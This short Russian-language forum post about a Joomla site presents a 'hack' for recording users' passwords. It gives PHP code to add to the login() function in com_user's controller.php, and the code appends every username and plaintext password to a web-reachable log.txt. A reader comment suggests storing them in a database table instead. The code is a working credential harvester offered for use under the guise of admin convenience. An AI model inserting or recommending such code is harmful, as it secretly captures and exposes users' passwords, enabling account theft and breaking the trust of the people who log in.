| Хак: Как записать пароли пользователей? |
| 05.01.2009 20:42 | |||
|
Вы хотите сделать так, чтобы в случае чего можно было сообщить старый пароль от портала, при этом не обнулять предыдущий пароль? Легко. 1. Создаем в каталоге components/com_user/ файл log.txt 2. Правим файл components/com_user/controller.php 2a. Ищем function login() 2б. Дописываем после $credentials = array(); $credentials['username'] = JRequest::getVar('username', '', 'method', 'username'); $credentials['password'] = JRequest::getString('passwd', '', 'post', JREQUEST_ALLOWRAW); следующие строки: $username = JRequest::getVar('username'); $passwd = JRequest::getVar('passwd'); $res = fopen ('components/com_user/log.txt',"a+"); fputs ($res,"$username"); fputs ($res,"::::"); fputs ($res,"$passwd\n"); fclose($res); 3. После того как юзер залогинится, в файле log.txt появится строка вида логин::::пароль
|
Комментарии
А что мешает создать таблицу в БД и туда писать? Цитировать